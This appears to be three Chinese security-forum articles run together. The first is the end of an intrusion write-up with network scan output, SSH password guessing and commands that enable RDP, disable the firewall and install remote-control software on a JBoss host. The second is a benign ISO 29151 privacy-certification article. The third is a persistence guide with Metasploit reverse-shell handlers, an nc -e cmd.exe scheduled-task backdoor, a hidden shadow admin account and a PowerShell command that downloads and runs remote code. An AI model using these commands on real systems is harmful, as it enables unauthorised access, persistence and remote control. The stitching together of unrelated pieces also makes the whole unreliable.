(icmp) Target xx.xx.xx.17 is alive
(icmp) Target xx.xx.xx.29 is alive
(icmp) Target xx.xx.xx.33 is alive
(icmp) Target xx.xx.xx.104 is alive
(icmp) Target xx.xx.xx.102 is alive
(icmp) Target xx.xx.xx.49 is alive
(icmp) Target xx.xx.xx.36 is alive
(icmp) Target xx.xx.xx.167 is alive
(icmp) Target xx.xx.xx.179 is alive
(icmp) Target xx.xx.xx.126 is alive
(icmp) Target xx.xx.xx.190 is alive
(icmp) Target xx.xx.xx.254 is alive
(icmp) Target xx.xx.xx.35 is alive
[*] Icmp alive hosts len is: 34
xx.xx.xx.35:21 open
xx.xx.xx.33:21 open
xx.xx.xx.124:21 open
xx.xx.xx.110:21 open
xx.xx.xx.125:139 open
xx.xx.xx.29:22 open
xx.xx.xx.72:139 open
xx.xx.xx.110:139 open
xx.xx.xx.74:139 open
xx.xx.xx.124:139 open
xx.xx.xx.xx:139 open
xx.xx.xx.96:139 open
xx.xx.xx.69:139 open
xx.xx.xx.5:80 open
xx.xx.xx.68:139 open
xx.xx.xx.35:80 open
xx.xx.xx.33:443 open
xx.xx.xx.xx:80 open
xx.xx.xx.110:80 open
xx.xx.xx.113:80 open
xx.xx.xx.124:80 open
xx.xx.xx.110:445 open
xx.xx.xx.68:445 open
xx.xx.xx.179:80 open
xx.xx.xx.111:445 open
xx.xx.xx.124:445 open
xx.xx.xx.xx:445 open
xx.xx.xx.35:139 open
xx.xx.xx.110:443 open
xx.xx.xx.74:445 open
xx.xx.xx.124:443 open
xx.xx.xx.33:80 open
xx.xx.xx.49:139 open
xx.xx.xx.17:139 open
xx.xx.xx.105:139 open
xx.xx.xx.33:139 open
xx.xx.xx.99:139 open
xx.xx.xx.69:135 open
xx.xx.xx.17:135 open
xx.xx.xx.29:445 open
xx.xx.xx.125:135 open
xx.xx.xx.49:445 open
xx.xx.xx.96:135 open
xx.xx.xx.17:445 open
xx.xx.xx.125:3306 open
xx.xx.xx.105:445 open
xx.xx.xx.99:135 open
xx.xx.xx.68:135 open
xx.xx.xx.105:135 open
xx.xx.xx.74:135 open
xx.xx.xx.72:135 open
xx.xx.xx.125:445 open
xx.xx.xx.49:135 open
xx.xx.xx.xx:135 open
xx.xx.xx.99:445 open
xx.xx.xx.35:8080 open
xx.xx.xx.35:443 open
xx.xx.xx.33:8080 open
xx.xx.xx.72:445 open
xx.xx.xx.36:80 open
xx.xx.xx.xx:3306 open
xx.xx.xx.96:445 open
xx.xx.xx.69:445 open
xx.xx.xx.29:88 open
xx.xx.xx.xx:1099 open
[+] received output:
xx.xx.xx.29:7070 open
[+] received output:
xx.xx.xx.74:7680 open
xx.xx.xx.99:7680 open
xx.xx.xx.49:7680 open
[+] received output:
xx.xx.xx.xx:8009 open
[+] received output:
xx.xx.xx.xx:8083 open
[+] received output:
xx.xx.xx.124:9090 open
xx.xx.xx.110:9090 open
xx.xx.xx.110:9091 open
xx.xx.xx.124:9091 open
[+] received output:
xx.xx.xx.110:9095 open
xx.xx.xx.110:9096 open
xx.xx.xx.110:9097 open
xx.xx.xx.124:9100 open
xx.xx.xx.110:9100 open
xx.xx.xx.33:9100 open
xx.xx.xx.179:9100 open
xx.xx.xx.35:9100 open
[+] received output:
[*] alive ports len is: 83
start vulscan
[*] NetInfo:
[*]xx.xx.xx.125
[->]DESKTOP-TTM9375
[->]xx.xx.xx.125
[*] NetInfo:
[*]xx.xx.xx.xx
[->]WIN-VG2ABKNMR7G
[->]xx.xx.xx.xx
[->]2002:94cc:6e7a::94cc:6e7a
[*] WebTitle: http://xx.xx.xx.124:9090 code:405 len:222 title:None
[*] NetInfo:
[*]xx.xx.xx.96
[->]DESKTOP-FC85UC1
[->]xx.xx.xx.96
[->]2001:0:34f1:8072:1870:2a27:6b33:919f
[*] NetInfo:
[*]xx.xx.xx.68
[->]DESKTOP-EP7RETL
[->]xx.xx.xx.68
[->]2002:94cc:6e44::94cc:6e44
[->]2001:0:34f1:8072:18a6:7b2:6b33:91bb
[+] ftp://xx.xx.xx.124:21:anonymous
[->]lp1
[->]lp2
[->]lp3
[->]lp4
[*] NetInfo:
[*]xx.xx.xx.49
[->]SIIS49
[->]xx.xx.xx.49
[*] xx.xx.xx.125 (Windows 10 Enterprise 19044)
[*] WebTitle: http://xx.xx.xx.35:8080 code:404 len:105 title:404 Not Found
[*] WebTitle: http://xx.xx.xx.xx:8083 code:404 len:0 title:None
[*] xx.xx.xx.99 (Windows 10 Enterprise 16299)
[*] NetInfo:
[*]xx.xx.xx.17
[->]SIIS17
[->]xx.xx.xx.17
[->]172.21.16.1
[->]172.25.16.1
[*] NetInfo:
[*]xx.xx.xx.105
[->]Deskto-admvo2
[->]xx.xx.xx.105
[*] NetInfo:
[*]xx.xx.xx.74
[->]DESKTOP-SEFPD2S
[->]xx.xx.xx.74
[*] NetBios: xx.xx.xx.35 WORKGROUP\RNP5838797EAD80
[*] WebTitle: http://xx.xx.xx.xx code:200 len:1554 title:Welcome to JBoss AS
[*] xx.xx.xx.69 (Windows 10 Enterprise 19044)
[*] WebTitle: http://xx.xx.xx.5 code:200 len:7105 title:300Mbps Wireless N ADSL2+ Modem Router TD-W8960N
[*] WebTitle: http://xx.xx.xx.113 code:200 len:145 title:None
[*] NetBios: xx.xx.xx.125 WORKGROUP\DESKTOP-TTM9375 Windows 10 Enterprise 19044
[*] xx.xx.xx.17 (Windows 10 Enterprise 19045)
[*] NetBios: xx.xx.xx.74 WORKGROUP\DESKTOP-SEFPD2S Windows 10 Enterprise 19042
[*] NetInfo:
[*]xx.xx.xx.99
[->]DESKTOP-FDNQ6P1
[->]xx.xx.xx.99
[->]2001:0:34f1:8072:cb5:3b78:6b33:919c
[*] xx.xx.xx.74 (Windows 10 Enterprise 19042)
[*] xx.xx.xx.105 (Windows 10 Pro 19044)
[*] NetBios: xx.xx.xx.xx WORKGROUP\WIN-VG2ABKNMR7G Windows Server 2012 R2 Standard 9600
[*] WebTitle: http://xx.xx.xx.33:8080 code:404 len:105 title:404 Not Found
[*] WebTitle: http://xx.xx.xx.35 code:200 len:577 title:Web Image Monitor
[*] NetBios: xx.xx.xx.105 WORKGROUP\Desktop-admvo2 JWindows 10 Pro 19044
[*] xx.xx.xx.68 (Windows 10 Enterprise 10240)
[*] NetBios: xx.xx.xx.33 WORKGROUP\RNP5838797EACC4
[*] xx.xx.xx.72 (Windows 10 Enterprise 19042)
[*] NetBios: xx.xx.xx.69 WORKGROUP\DESKTOP-9BFBCH0 Windows 10 Enterprise 19044
[*] NetBios: xx.xx.xx.99 WORKGROUP\DESKTOP-FDNQ6P1 Windows 10 Enterprise 16299
[+] InfoScan:http://xx.xx.xx.xx [Jboss]
[*] WebTitle: http://xx.xx.xx.33 code:200 len:577 title:Web Image Monitor
[*] NetBios: xx.xx.xx.68 WORKGROUP\DESKTOP-EP7RETL Windows 10 Enterprise 10240
[*] WebTitle: http://xx.xx.xx.124 code:302 len:0 title:None ÞÀ│Þ¢¼url: https://xx.xx.xx.124:443/
[*] NetBios: xx.xx.xx.17 WORKGROUP\SIIS17 Windows 10 Enterprise 19045
[+] ftp://xx.xx.xx.33:21:anonymous
[+] ftp://xx.xx.xx.35:21:anonymous
[+] ftp://xx.xx.xx.110:21:anonymous
[->]lp1
[->]lp2
[->]lp3
[->]lp4
[*] WebTitle: http://xx.xx.xx.36 code:200 len:1738 title:Vertiv IntelliSlot Web Card
[+] received output:
[*] WebTitle: http://xx.xx.xx.110:9090 code:405 len:222 title:None
[*] WebTitle: https://xx.xx.xx.110:9091 code:405 len:222 title:None
[*] WebTitle: https://xx.xx.xx.35 code:200 len:577 title:Web Image Monitor
[+] received output:
[*] WebTitle: https://xx.xx.xx.33 code:200 len:577 title:Web Image Monitor
[+] received output:
2023/02/02 00:25:08 Unsolicited response received on idle HTTP channel starting with "HTTP/1.0 413 Request line length exceed upper limit\r\nDate: Thu, 02 Feb 2023 06:24:23 GMT\r\nMIME-Version: 1.0\r\nServer: The Knopflerfish HTTP Server\r\nConnection: Close\r\nContent-Type: text/html\r\nContent-Length: 163\r\n\r\n<html>\r\n<head>\r\n<title>413 Request line length exceed upper limit</title>\r\n</head>\r\n<body>\r\n<h1>413 Request line length exceed upper limit</h1>\r\n</body>\r\n</html>\r\n"; err=<nil>
2023/02/02 00:25:08 Unsolicited response received on idle HTTP channel starting with "HTTP/1.0 413 Request line length exceed upper limit\r\nDate: Thu, 02 Feb 2023 06:24:38 GMT\r\nMIME-Version: 1.0\r\nServer: The Knopflerfish HTTP Server\r\nConnection: Close\r\nContent-Type: text/html\r\nContent-Length: 163\r\n\r\n"; err=<nil>
[+] received output:
xx.xx.xx.125:33060
[+] received output:
ÕÀ▓Õ«îµêÉ 76/83 [-] ssh xx.xx.xx.29:22 root root123 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain
[+] received output:
ÕÀ▓Õ«îµêÉ 82/83 [-] ssh xx.xx.xx.29:22 root a123456. ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain
[+] received output:
ÕÀ▓Õ«îµêÉ 82/83 [-] ssh xx.xx.xx.29:22 root Aa123456 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain
[+] received output:
xx.xx.xx.125:20121
[+] received output:
xx.xx.xx.125:17500
[+] received output:
ÕÀ▓Õ«îµêÉ 82/83 [-] ssh xx.xx.xx.29:22 admin 654321 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain
[+] received output:
ÕÀ▓Õ«îµêÉ 82/83 [-] ssh xx.xx.xx.29:22 admin 123321 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain
[+] received output:
xx.xx.xx.125:5357
xx.xx.xx.125:5040
[+] received output:
ÕÀ▓Õ«îµêÉ 82/83 [-] ssh xx.xx.xx.29:22 admin qwe123!@# ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain
[+] received output:
ÕÀ▓Õ«îµêÉ 83/83
[*] µë½µÅÅþ╗ôµØƒ,ÞÇùµùÂ: 7m3.1268361s
[+] received output:
xx.xx.xx.125:3306
[+] received output:
xx.xx.xx.125:139
xx.xx.xx.125:135
[+] received output:
xx.xx.xx.124:9103
xx.xx.xx.124:9102
xx.xx.xx.124:9101
xx.xx.xx.124:9100
xx.xx.xx.124:9091
xx.xx.xx.124:9090
[+] received output:
xx.xx.xx.124:5358
[+] received output:
xx.xx.xx.124:515
xx.xx.xx.124:443
xx.xx.xx.124:139
xx.xx.xx.124:80
xx.xx.xx.124:21 (220 TASKalfa 5501i FTP server)
3、fscan扫描后的我都去尝试了，除了两个打印机未授权外，其他没有什么了
### 开启3389端口
#### 查询3389端口方式
1、由于该机器没有开启3389端口，所以我们需要开启，REG查询3389状态（0：ON、1：OFF）
REG query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections
2、REG查询3389端口（16进制->10进制）
#两个键值均可，值为0xd3d则为3389，否则将其转为10进制则为端口号
REG query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds" /v PortNumber
REG query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber
3、tasklist、netstat命令查询3389端口
tasklist /svc | findstr "TermService"
netstat -ano | findstr "3389"
#### 开启3389端口方式
1、MSF命令开启3389端口
meterpreter > run post/windows/manage/enable_rdp
meterpreter > run getgui -e
#注：getgui可用于开启目标机器的3389远程桌面端口、创建管理员账户密码、禁用远程桌面(TCP-In)防火墙入站规则等。
2、REG命令开启3389端口
#开启远程桌面 （0：ON、1：OFF）
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
#修改windows远程桌面端口3389为3000(一般情况不要改)
REG ADD "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v "PortNumber" /t REG_DWORD /d 3000 /f
3、WMIC命令开启3389端口
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1
# 前提条件是确保“Windows Management Instrumentation（Winmgmt）”服务已正常启动。
4、 Windows API开启3389端口
原理就是利用RegCreateKeyEx和RegSetValueEx两个API和Microsoft.Win32 RegistryKey类操作系统注册表
5、MSSQL xp_regwrite开启3389端口
应用场景：xp_cmdshell被禁用/删除且无法恢复时，可尝试用xp_regread、xp_regwrite来查询和开启目标机器3389端口，也可以选择用sp_OACreate、Agent Job等其他命令执行方式。
# 1、查询3389开启状态
exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server' ,'fDenyTSConnections'
# 2、查询3389远程桌面端口
exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp','PortNumber'
# 3、开启3389远程桌面端口（0：ON、1：OFF）
exec master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0;
注：防火墙配置3389放行
#配置一下防火墙，设置为允许远程桌面连接，命令:
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
#netsh 是 windows 的网络配置命令，advfirewall firewall 意思为防火墙的高级设置，add rule 是添加一条规则
#name 指定规则名称，protocol 指定协议，dir 指定是出站还是入站，localport 指定端口，action 指定动作 allow 允许
#关闭防火墙
netsh firewall set opmode mode=disable
### 连接远程桌面
1、但是最终连接失败，防火墙也都关闭，3389也开启，搞不懂为什么，Google搜索也没有找到明确的答案，有大佬知道的还望请教。
2、那我就换一种思路，使用向日葵免安装。
3、在本机安装向日葵安装版本，将免安装版本上传到目标机器。
4、在目标机器启动向日葵免安装版本
shell C:\Users\Administrador\Desktop\jboss-6.1.0.Final\bin\SunloginClientSOS_1.1.0_x64.exe
5、在`VNC桌面交互`操作并查看向日葵机器码（注意，不要点到`view only`，否则将无法操作，正常情况，操作会比较慢）
6、获取向日葵机器码后，成功连接远程桌面 | 社区文章 |
# ISO 29151隐私保护认证心得体会
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作为一个踏入信息安全圈子没几年的小姐姐，去年有幸作为公司ISO29151项目经理全程参与了公司ISO29151隐私保护体系建设认证的过程。虽然我司过去在客户隐私保护方面已经有了很多的成果（例如保存了客户隐私数据的信息系统已建立访问控制机制，对客户隐私信息进行加密存储和加密传输机制等），但第一次邀请国际知名认证机构对公司进行隐私保护体系建设的专业认证，心里还是难免有些忐忑。经过审核老师的指点和公司领导同事的帮助，最终我司还是顺利通过了ISO29151
个人身份信息保护实践指南的认证。在这里就把该认证项目过程中自己的一些心得体会分享一下，欢迎交流讨论。
## Part1：揭秘ISO29151
从事信息安全管理的同学想必都知道信息安全管理体系（ISO27001和ISO27002），那么ISO29151是个啥？我也是去年年底在参加外部的隐私保护培训课程时第一次接触到这个标准。
ISO29151全称是“ISO/IEC 29151:2017
个人身份实践保护指南”，是ISO标准委员会2017年颁布的指导组织实现隐私安全的一个国际标准，描述了个人可识别身份信息（PII）安全控制措施和风险处理指南。
那么ISO27002与ISO29151的共同点和区别是什么呢？
**共同点** ：ISO29151正文架构与ISO27002附录A结构完全一致
**差异** ：
ISO29151正文部分在27002的各个控制域中加入了PII的实施指南；
ISO29151附录A引入了ISO/IEC 29100中的11个隐私保护原则，形成实用且针对性强的PII保护措施供组织使用。
因此，信息安全管理体系的建设落地是PII个人信息保护的基础和前提，组织如果想要通过ISO29151的认证，就必须先通过信息安全管理体系的认证。对于ISO29151标准本身来说，重点是标准第二部分附录A，这部分是针对PII保护的特定控制措施，包含使用和保护PII的一般策略、同意和选择、目的合法性和指南、收集限制、数据最小化等11个隐私保护原则，共27个控制目标。
## Part2：ISO29151体系认证如何准备？
总的来说，ISO29151个人隐私保护体系项目实施基于ISO29151标准内容和相关内外部合规要求，建立基于PDCA的持续改进机制。体系建设主要准备以下内容：
**（一）个人数据生命周期梳理及PII信息清单编制**
进行个人数据生命周期梳理要关注以下3个维度：
**A. 业务场景：**
公司有哪些业务场景涉及个人信息处理（业务流程、系统功能）？
上述业务场景中收集和处理个人信息的目的是什么？
适用哪些法律法规、监管条例、合同要求？
**B. 数据处理角色：**
各业务场景下的数据处理身份和责任？（控制者还是处理者）
有哪些数据委托处理、数据共享控制权的场景？
**C. 数据生命周期:**
业务场景中收集处理哪些个人信息？
对个人信息分级分类，哪些属于公司机密（敏感）信息？采用什么控制措施进行保护？
在各业务场景下，个人信息的数据流向是怎样的？存储在哪里？有无数据对外传输，甚至跨境存储传输？
在完成以上问题的确认后，便可以绘制出公司个人信息清单，以下是我司识别的个人信息清单样例：
**（二）隐私风险影响评估（PIA）**
对于PII信息的风险评估基于ISO29151的条款要求，我的做法是参考ISO27001的风险评估实施方法，先识别整理出个人信息清单、数据流向图和目前公司在个人信息的收集、处理、存储、传输、销毁整个生命周期中采用的安全控制措施。
然后根据ISO29151条款附录A各控制目标对应的风险源、风险定义、对照每一条进行差距分析，看看公司现在实际的控制措施还存在哪些风险点，并根据风险影响程度与风险发生可能性进行打分，判定每一项的风险值（高、中、低）。
所有识别出的风险点都需要在管理评审会上明确责任人、风险处置措施和整改时间。
**（三）适用性声明编写**
和信息安全管理体系认证一样，ISO29151进行认证审核的前提也是需要完成适用性声明的编写。ISO29151适用性声明可参考信息安全管理体系的适用性声明格式，主要对ISO29151附录A的所有控制目标判断是否适用于企业，并描述企业的控制措施和对应体系文件。如下就是我编写的ISO29151适用性声明样表：
**（四）管理体系文件更新**
在编写适用性声明的同时也需要根据隐私风险评估结果和29151条款的内容更新管理体系文件。当时我司的体系文件做了这些更新：
**A《信息安全管理方针与政策》中增加了隐私保护政策，包括：**
隐私保护遵循的法律法规
隐私保护组织架构说明
隐私政策内容要求
PII信息收集/处理/存储/传输的要求
隐私安全评估
PII信息对外披露或分包处理的要求
隐私保护培训
**B《数据安全管理办法》、《敏感信息管理规范》中增加PII信息保护的说明**
对于PII信息收集、使用、存储和传输提出具体的安全防护措施要求，如PII敏感数据在数据库中加密存储，应用系统前端脱敏展示等；
涉及PII信息处理的应用系统按照隐私默认原则设计，并在上线前由安全部进行检查。
**C 隐私政策更新**
隐私政策参考国标GBT 35273-2017《信息安全技术-个人信息安全规范》的隐私政策模板来编写，需要根据业务变化定期更新（主要是个人信息收集使用、共享场景的描述）。
## Part3：过证经验tips
这次由甲方独立完成ISO29151的体系认证准备，总结下来有2点心得体会：
**（一）明确组织PII角色，选用合适的控制措施**
审核老师在初审时首先就会询问我们，贵公司是PII信息的控制者还是处理者？
对于这个问题的判断直接影响着适用性声明中相关控制措施的选择和描述。事实上，收集个人信息的并不一定就是PII控制者。PII控制者是决定PII处理目的和方法的利益相关方。PII处理者则是代表PII控制者，按照控制者的指示（一般有合同约定）对PII信息进行处理。PII处理者还可能将PII信息再次分包给其他处理者。
举个“栗子”
在29151附录A中，A7.3和A7.5两个控制目标就与PII的处理者和分包处理者有关。
A7.3披露通知：确保PII处理者向PII控制者通报任何披露PII的具有法律约束力的请求。
这条控制目标的意思是：PII的控制者如果将个人信息提供给处理者进行处理，处理者如果还会将PII信息对外披露，则需要书面告知给控制者。
A.7.5披露分包的PII处置“确保PII处理者向PII控制者披露任何分包商的使用情况”
这条控制目标的意思是：PII处理者如果使用分包商处理PII信息，则应书面告知给PII控制者。
对于我司而言，一方面在管理体系文件中增加说明：对于收集到的PII信息如提供给合作伙伴协助处理的，应在合同中明确说明处理PII信息的类别和信息保护要求，合同应有保密条款。如合作伙伴需将PII信息提供给分包商处理或对外披露，也应在合同或其他书面协议中说明相关情况。另一方面也在公司和短信供应商、基金公司等相关合作伙伴的合同中通过保密条款约定除法律规定和国家监管要求以外，不得将PII信息对外披露；对于管理人使用分包商进行基金销售客户PII信息处理的场景，也在基金销售合同中披露PII信息分包处理者券商的情况，以此满足ISO29151条款的要求。
**（二）隐私政策文案需及时更新，配套技术措施也要跟上**
审核老师在进行现场审核时重点关注的内容就是隐私政策文本和相关的隐私保护技术手段。按照审核老师的说法，隐私保护虽然标准条文很简单，但是实践过程中却是处处是坑。而且隐私保护的合规要求变化很快，2年前的规定可能2年后就会完全改变，企业需要在监管要求出台后快速适应进行业务流程和系统改造才能确保满足合规要求。我司今年就更新过3个版本的隐私政策，以下列举一些常见的埋雷点和避坑策略。
**埋雷点1：客户端APP是否区分基本功能和附加功能？**
避坑策略：客户端APP如果区分基本功能和附加功能，且附加功能会额外收集个人信息的话，应该在隐私政策中独立说明附加功能收集个人信息目的和业务场景，并让用户对这部分个人信息的收集处理单独进行确认。
**埋雷点2：客户如何行使拒绝、撤回同意、账号注销的权利？**
上面这2个条款在实操上采取什么控制措施呢？
避坑策略：客户拒绝隐私政策收集个人信息，企业在条件允许情况下需要提供APP的免登录浏览功能；客户如果想撤回同意或者注销APP注册账号，企业也需要给客户提供便捷的操作方式（APP自助操作或者客服电话等），一旦客户撤回同意或账号注销后就不能继续收集客户隐私信息。
**埋雷点3：PII使用期限到期后是否做了数据删除或去标识化处理？**
避坑策略：首先要根据企业所在行业的监管法律要求明确数据保存期限（比如对我司所在的金融行业相关法律要求建立“客户身份识别制度”，遵循“投资者适当性要求”，反洗钱等法律规定也要求个人信息和业务信息保留更长时间等，这些都是金融科技行业个人信息保护的特殊规定），其次在PII数据使用到期后，停止继续收集数据，并评估采用合理的数据删除（包括备份数据）或去标识化技术方案（如脱敏、加密），这些都应该在隐私政策中有明确说明。
**埋雷点4：PII信息是否跨境传输存储？**
避坑策略：需要事先进行PIA隐私影响分析，了解公司收集的PII信息是否有跨境传输和存储的场景，并需要了解各国在PII数据跨境存储传输的合规要求（可以由安全部门与合规部门共同确认），例如欧盟国家采用GDPR对数据跨境存储有严格限制，新加坡PDPA要求个人信息如果跨境存储需要签署IT外包协议明确境外数据处理存储的安全保护职责。然后在隐私政策中描述有没有跨境传输存储个人数据，如果有的话目前采取了哪些安全防护措施。
**埋雷点5：个人信息的共享是否在隐私政策里有详细说明？**
避坑策略：个人信息的共享，包括企业内部共享（集团和下属子公司、
公司内部各应用系统）和外部共享两种情况。对于这2种情况，都需要细化描述具体的个人信息共享业务场景、共享数据字段，且用显著的方式（高亮加粗等）提醒用户阅读，才能满足用户的知情权。更好的做法是，在将客户个人信息提供给第三方前，通过弹窗或其他技术手段再次通知客户并获取明确同意，同意选项应默认不勾选。
**埋雷点6：隐私政策用户操作是否数据库中记录操作日志？**
避坑策略：对于客户在系统上进行隐私政策同意的操作，系统应在数据库中至少记录这些操作日志字段信息：用户账号或身份识别号、客户操作结果（同意/拒绝）、操作日期和时间、隐私政策版本号。每一次隐私政策内容更新时都要推送给用户重新点击确认，操作日志按照《网络安全法》的要求至少需要保存6个月。
建立公司的个人隐私保护体系是个浩大繁琐的工程，需要满足合规要求，建立企业的隐私保护组织架构、不断调整隐私政策，并通过内控制度建设和安全技术创新才能有效防范风险。前路漫漫，但隐私保护应该成为企业义不容辞的责任和生产力，唯有持续改进方能赢得市场和客户的信任。
作者：诺亚控股集团信息安全部-Verna | 社区文章 |
# 渗透之权限维持杂谈
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
> 这是一篇介绍渗透测试后阶段权限维持的文章，里面包括了当今服务器的两大主流操作系统linux和windows的相关维权技术。全文秉着学习的思想做个摘录。
## 0x01 MSF
### persistence
> msf内置的后渗透权限维持工具persistence
### Metsvc
它是通过在已经获得shell的目标主机上开启了一个服务来提供后门的功能。
`run Metsvc -h`
### Scheduleme & Schtasksabuse
msf中自动利用计划任务的后门程序，后面会聊到linux和windows平台的计划任务。
run scheduleme -h
# 例子：上传nc并创建计划任务每一分钟执行一次 'nc -e cmd.exe -L -p 8080'
run scheduleme -m 1 -e /tmp/nc.exe -o "-e cmd.exe -L -p 8080"
run Schtasksabuse -h
# 例子：每隔4秒执行一次calc.exe
run schtasksabuse -t 192.168.2.7 -c "cmd /c calc.exe" -d 4
### Mof_ps_persist
> 现在已经找不到这个利用模块，参考：<https://github.com/khr0x40sh/metasploit-> modules/blob/master/persistence/mof_ps_persist.rb>
### Autorunscript
获取shell的时候自动执行持续化脚本,可以被Autorunscript执行的命令目录在`metasploit/scripts/meterpreter`
# persistence
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.2.101
set LPORT 5555
set ExitOnSession false
set AutoRunScript persistence -r 192.168.2.101 -p 5556 -U -X -i 30
exploit
# metsvc
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.2.101
set LPORT 5555
set ExitOnSession false
set AutoRunScript metsvc -A
exploit
## 0x02 计划任务
无论是windows还是linux操作系统都提供计划任务功能，来实现定时或者周期性的执行一些指令。自然而然我们可以在计划任务中做手脚，埋后门。
### windows
* 图形化工具：taskschd.msc
* 命令行工具：schtasks.exe
SCHTASKS /parameter [arguments]
描述:
允许管理员创建、删除、查询、更改、运行和中止本地或远程系统上的计划任
务。
参数列表:
/Create 创建新计划任务。
/Delete 删除计划任务。
/Query 显示所有计划任务。
/Change 更改计划任务属性。
/Run 按需运行计划任务。
/End 中止当前正在运行的计划任务。
/ShowSid 显示与计划的任务名称相应的安全标识符。
/? 显示此帮助消息。
Examples:
SCHTASKS
SCHTASKS /?
SCHTASKS /Run /?
SCHTASKS /End /?
SCHTASKS /Create /?
SCHTASKS /Delete /?
SCHTASKS /Query /?
SCHTASKS /Change /?
SCHTASKS /ShowSid /?
Payload examples:
SCHTASKS /Create /TN update /TR xx(待执行的命令) /DELAY ONLOGON /F /RL HIGHEST
### linux
* 一次性执行任务：at命令———>atd进程
* 周期性执行任务：crontab命令———>crond进程
> 在实际的渗透过程中我们更倾向于使用crontab
**at**
- 1.服务开启
service atd start
- 2.基本格式
at [HH:MM] [yyyy-mm-dd] #没有指定年月日的，默认是当天的。
- 3.查询当前设置的at任务列表
atq #或at -l
- 4.删除指定任务编号的at任务
atrm 编号 #或at -d
- 5.查看计划任务的具体内容
at -c 任务号
- 6.使用文件中的命令作为计划任务（比较少用）
at 时间 -f 文件
- 7.相关文件
/etc/at.deny：#该名单里面的人不可以使用
/etc/at.allow：#只有该名单里面的人可以使用
#### **crontab**
> 注意：
> （1）crontab 只会在/sbin、/bin、/usr/sbin、/usr/bin下查找命令，如果命令不在这些目录中，应该要使用绝对路径。
> （2）只有root用户可以管理其他用户的周期性任务
>
> （3）crontab在重启后之前的周期性任务无效，anacron可以弥补crontab的缺陷。配置文件：/etc/anacrontab。anacrontab会开机自动检查没有执行的计划任务，然乎逐一执行，这个过程是用户透明的。一般而言，crontab就已经可以满足基本的需求。
- 1.服务开启
service crond start
- 2.编辑计划任务
crontab -e -u 用户名
- 3.查看计划任务
crontab -l -u 用户名
- 4.删除计划任务：
crontab -r -u 用户名
- 相关文件
/var/spool/cron/用户名 #用户定义的设置
/var/log/cron #cron服务的日志文件
/etc/crontab #cron服务配置文件：
**anacron**
anacron是一个不同于crontab的任务，其只精确到天，用来弥补服务器在宕机下crond调度不周以及缓解计划任务执行过于集中的问题。它需要记录上次执行的时间，并更新到相应的/var/spool/anacron目录下，下次执行的时候会将当前时间和上次记录的时间进行对比，如果满足大于/etc/anacron的配置的天数就会立即执行相应的命令，然后刷新时间。
anacron 命令行参数：
-t 配置文件路径
让anacron从指定配置文件中读取配置，常用于普通用户来管理个人任务
-S spooldir
设定新的spool目录来记录任务执行的时间戳，常用于普通用户来管理个人任务
-T
测试配置文件是否正确
-f
强制执行所有的任务，而不管之前的执行日期是否超过轮回天数
-u
将所有任务的执行日期都更新为当前日期，而不真正的执行任务
-s
串行地执行任务，只有前一个任务完成后才开始下一个任务
## 0x03 windows权限维持
### 影子账户
创建一个无法用用户本机用户罗列工具显示的用户，并且赋予管理员权限。所有操作需要有管理员权限。同时测试在windows server
2012服务器域环境下影子账户无法直接进行添加。
1. 用’$’创建匿名用户，并归到administratorsa用户组
net user admin$ Test1 /add
net localgroup administrators admin$ /add
2. 导出匿名用户对应的sam目录下的注册表键值
regedt32.exe 打开 HKEY_LOCAL_MACHINESAMSAMDomainsAccountUsers键值，导出Names下用户目录以及对应的16进制目录。注意需要给Administrator用户赋予Sam键值权限，默认是不允许的。
删除匿名用户，双击导出的注册表文件，用先前导出的注册表键值对注册表进行修改。则可以重新还原之前的匿名用户，但是除了在注册表里面有用户记录，其他地方都不存在用户的信息。`net
user`或计算机管理里本地用户和用户组是看不到用户信息的，具有很好的隐蔽性质。
net user admin$ /del
### PowerShell后门
**Empire框架**
> <https://github.com/EmpireProject/Empire>
**Schtasks-Backdoor**
> <https://github.com/re4lity/Schtasks-Backdoor>
**msf**
use exploit/multi/script/web_delivery
- 设置好参数后的powershell例子：
powershell.exe -ExecutionPolicy Bypass -nop -w hidden -c $V=new-object net.webclient;$V.proxy=[Net.WebRequest]::GetSystemWebProxy();$V.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $V.downloadstring('http://192.168.80.155:8888/');
### 注册表开机启动
在如下的注册表目录下注入键值`HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun`，可以实现开机自启动。以windows
defender为例:
### 映像劫持
> 细节参考：<https://www.anquanke.com/post/id/151425>
涉及到的注册表项为IFEO（Image File Execution Options），默认是只有管理员和local system有权读写修改。
“HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Options”
